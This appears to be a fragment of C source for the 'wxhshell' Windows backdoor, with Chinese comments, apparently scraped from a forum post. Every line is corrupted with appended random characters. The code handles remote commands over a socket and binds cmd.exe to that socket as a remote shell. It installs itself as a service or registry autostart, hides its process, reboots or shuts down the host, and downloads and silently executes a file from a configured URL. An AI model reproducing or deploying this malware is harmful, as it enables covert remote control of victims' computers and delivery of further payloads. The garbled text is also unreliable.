    switch(cmd[0]) { Q}?yj,D D  
  #b~wIOR)Z  
  // 帮助 Llf |fayq  
  case '?': { (ei;Y~i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ew4>+o!  
    break; Dn 6k,nVh  
  } `o9vE0^T<  
  // 安装 W.xlS ZEB  
  case 'i': { F^ m`j6  
    if(Install()) ?D].Za^km  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pgy&/-u  
    else +&W%]KEh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q+MV@8w  
    break;  M>mk=-l  
    } v}=3  
  // 卸载 b9ON[qOMN  
  case 'r': { {\OIowa  
    if(Uninstall()) @$5GxIw<l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e$k ]z HlQ  
    else o8:K6y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c !$ 8>  
    break; -XVC,.Ly  
    } hSgfp  
  // 显示 wxhshell 所在路径 ZWC-<QO"<  
  case 'p': { 6,"fH{Bd  
    char svExeFile[MAX_PATH]; }),tk?\  
    strcpy(svExeFile,"\n\r"); AxaabS$\  
      strcat(svExeFile,ExeFile); <&7KcvBn"4  
        send(wsh,svExeFile,strlen(svExeFile),0); T K)Kq  
    break; 4T-9F  
    } >H@ zP8  
  // 重启 'L*nC T;  
  case 'b': { O IF0X!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &&0,;r, -)  
    if(Boot(REBOOT)) |(gq:O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t'uZho~^F  
    else { 05(lh<C  
    closesocket(wsh); \#(cI  
    ExitThread(0); ; &2J9  
    } n7 RswX  
    break; `?P k~7  
    } Y$%/H"1bk  
  // 关机 *E<%db C2  
  case 'd': { Ni$WI{e9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YfC1.8  
    if(Boot(SHUTDOWN)) P@Wi^svj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UTEUVcJ\  
    else { W;]*&P[[   
    closesocket(wsh); dbTPY`  
    ExitThread(0); ubV|s|J  
    } \*}JdEHB  
    break; /znW$yh o  
    } ~q]+\qty4  
  // 获取shell ^h+<Q%'a'  
  case 's': { 10v4k<xb  
    CmdShell(wsh); 6V=69}  
    closesocket(wsh); %nJ^0X_]  
    ExitThread(0); N[ %^0T$  
    break; 6i/x"vl>  
  } kji*7a?y  
  // 退出 esH>NH_  
  case 'x': { .6%-Il  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n'D1s:W^B  
    CloseIt(wsh); 7|6uY  
    break; !>B|z=  
    } ,?GEL>F  
  // 离开  {g?$u  
  case 'q': { _B` '1tNx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);   5;+OpB  
    closesocket(wsh); B\a-Q,Wf  
    WSACleanup(); 4,m aA  
    exit(1); 8\m_.e  
    break; d `LBFH,  
        } ]KfjZ!Qh  
  }  ?[Od.  
  } $m`?x5rL8  
O/^7TBTn<r  
  // 提示信息 @ U6Iw"@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .OM m"RtK  
} x^kV;^ I  
  } 5V&3m@d0aq  
<syMrXk)R(  
  return; SwV{t}I  
} 'qS&7 W(  
3]BK*OqJ  
// shell模块句柄 X cmR/+  
int CmdShell(SOCKET sock) &g R+D  
{ n7`R+4/s  
STARTUPINFO si; (tV/.x*G  
ZeroMemory(&si,sizeof(si)); g$s"x r`:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z@fMU2e=Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2xvTijO0  
PROCESS_INFORMATION ProcessInfo; !|{T>yy  
char cmdline[]="cmd"; 6q ._8%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ${^WM}N  
  return 0; 12;"=9e!  
} ^>02,X mk  
)J 4XM(  
// 自身启动模式 hjywYd]8  
int StartFromService(void) DjK:)  
{ lz.ta!6  
typedef struct M XsSF|-  
{ N;e d_!  
  DWORD ExitStatus; t W ;1  
  DWORD PebBaseAddress; M=hxOta  
  DWORD AffinityMask; H%`Ja('"p  
  DWORD BasePriority; iJE  $3  
  ULONG UniqueProcessId; He att?(RR  
  ULONG InheritedFromUniqueProcessId; (K"U #Zn  
}   PROCESS_BASIC_INFORMATION; Z-W>WR  
MG<kvx~2  
PROCNTQSIP NtQueryInformationProcess; bcFG$},k  
e[f}Lxln  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y.&nxT95=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aMQfg51W:  
t<5 $85Y~  
  HANDLE             hProcess; hnag <=  
  PROCESS_BASIC_INFORMATION pbi; LIYj__4=|  
r9<OB`)3+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n}(/>?/  
  if(NULL == hInst ) return 0; (055>D6  
<&:OSd:%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v0)I rO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); };"-6e/9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -J8&!S8X  
5hwe ul>S  
  if (!NtQueryInformationProcess) return 0; pEf1[ zq  
v< qN -zG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); - Te+{  
  if(!hProcess) return 0; SoX\S|}%6[  
lt\. )Y>4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v7x %V%K  
ygoA/*s  
  CloseHandle(hProcess); Os--@5e  
tB4dkWt.}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *;7~aM  
if(hProcess==NULL) return 0; 7 lc -  
c \cPmj@  
HMODULE hMod; CX/ _\0 G4  
char procName[255]; d>[=]  
unsigned long cbNeeded; H/"$#8-/  
(/TYET_H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xwK{}==U  
3Au3>q,  
  CloseHandle(hProcess); SPfz/ q{  
/ i[F  
if(strstr(procName,"services")) return 1; // 以服务启动 C;]}Ht:~I  
lezX-5Z  
  return 0; // 注册表启动 tnL$v2e6q  
} v4c*6(m  
h= tzG KI  
// 主模块 Z4 y9d?g%b  
int StartWxhshell(LPSTR lpCmdLine) D@@J7  
{ SVKjhZK  
  SOCKET wsl; bzYj`t?  
BOOL val=TRUE; %0 cFs'  
  int port=0; l*eJa38  
  struct sockaddr_in door; 3%gn:.9N  
DJ)Q,l*|N9  
  if(wscfg.ws_autoins) Install(); oPP`)b$x  
?wM{NVt#-  
port=atoi(lpCmdLine); Msj(>U&}+  
Sep/N"7~t  
if(port<=0) port=wscfg.ws_port; %l{0z<  
=^a Ngq  
  WSADATA data; (lPiv+'n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; klpYtQ  
j{QzD^t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   miWog8j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {v CB$@/o  
  door.sin_family = AF_INET; ;1x(~pD*o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v+\&8)W=  
  door.sin_port = htons(port); Cn6<I{`\  
R^u 1(SF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2z*EamF  
closesocket(wsl); >JOEp0J  
return 1; +% E)]*Ym  
} j _]#Ew\q  
r xlKoa  
  if(listen(wsl,2) == INVALID_SOCKET) { GnTCq_\  
closesocket(wsl); Owd{;  
return 1; D1G9^7:^E  
} wz[Xay9jW  
  Wxhshell(wsl); rnNB!T   
  WSACleanup(); 4v[Zhf4JM  
?rauhTVnJ  
return 0; @J~hi\&`  
LR`]C]  
} dV/ ^@[  
C[X2]zr  
// 以NT服务方式启动 M%{,?a0V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U+[ p>iP  
{ nC6 ;:uM  
DWORD   status = 0; wlC7;u  
  DWORD   specificError = 0xfffffff; 8&q[jxI@8  
<PMQ$s>KK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o paRk.p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7 &O 0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YB`1S  
  serviceStatus.dwWin32ExitCode     = 0; ]7|Zs]6  
  serviceStatus.dwServiceSpecificExitCode = 0; cmcR @zv  
  serviceStatus.dwCheckPoint       = 0; "+dByaY  
  serviceStatus.dwWaitHint       = 0; - K%hug  
1iLrKA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >^!)G^B  
  if (hServiceStatusHandle==0) return; 6j 2mr6o  
J ?y0R X  
status = GetLastError(); bz'#YM  
  if (status!=NO_ERROR) *@+E82D  
{ NQ3EjARZt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lEXER^6  
    serviceStatus.dwCheckPoint       = 0; Mp-hNO}.Z  
    serviceStatus.dwWaitHint       = 0; Q0j4 c  
    serviceStatus.dwWin32ExitCode     = status; Crg@05Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,#V }qSKUS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1#Q~aY  
    return; @sPuc.  
  } %M7EOa  
woyn6Z1JQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ORDVyb_x  
  serviceStatus.dwCheckPoint       = 0; *xV  
  serviceStatus.dwWaitHint       = 0; F-TDS<[S?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k]"DsN$  
} hI6Tp>b*~  
^.g BHZ  
// 处理NT服务事件,比如:启动、停止 HSG7jC'_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wdMVy=SS  
{ OAiSE`  
switch(fdwControl) v$d^>+Y#  
{ `z1E]{A  
case SERVICE_CONTROL_STOP: !+o`,KTYp  
  serviceStatus.dwWin32ExitCode = 0; *S= c0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -\I".8"YE  
  serviceStatus.dwCheckPoint   = 0; 2~B9 (|  
  serviceStatus.dwWaitHint     = 0; VKb=)v[K  
  { !kQJ6U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )RCva3Ul  
  } yM PZ}  
  return; zd0 [f3~  
case SERVICE_CONTROL_PAUSE: 38zG[c|X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /w/um>>K.  
  break; GNX`~%3KYc  
case SERVICE_CONTROL_CONTINUE: -qs R,H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]_js-+w6  
  break; >HRL@~~Z  
case SERVICE_CONTROL_INTERROGATE: 0 zn }l6OS  
  break; Qz4n%|  
}; {oVoN>gp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qj3l>O  
} 8{B]_: -:  
U UYx-x  
// 标准应用程序主函数 f?BApm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N= G!r  
{ ., =\/ C<  
c2~oPUj  
// 获取操作系统版本 [kKg?I$D@B  
OsIsNt=GetOsVer(); [,TK"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o?`^ UG-   
L7"B`oa(p  
  // 从命令行安装 #>_5PdO  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?Zh,W(7W  
XY)I~6$Y  
  // 下载执行文件 79d< ,q;uR  
if(wscfg.ws_downexe) { Sau?Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [J\! 2\Oo  
  WinExec(wscfg.ws_filenam,SW_HIDE); g!I0UAm  
} <tI_u ~P  
2q}lSa7r  
if(!OsIsNt) { QdK PzjA  
// 如果时win9x,隐藏进程并且设置为注册表启动 )\m%&EXG{  
HideProc(); L g2z `uv  
StartWxhshell(lpCmdLine); $*qQ/hi  
} <!a%GI  
else _%@ri]u{ov  
  if(StartFromService()) &:[hUn8jU  
  // 以服务方式启动 Wu@v%!0  
  StartServiceCtrlDispatcher(DispatchTable); @p [ml m  
else X*< !_3  
  // 普通方式启动 i-M<_62c  
  StartWxhshell(lpCmdLine); (_nU}<y_i  
?656P=b)  
return 0; /D,<2>o  
}
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只看该作者 1 发表于: 2006-10-10
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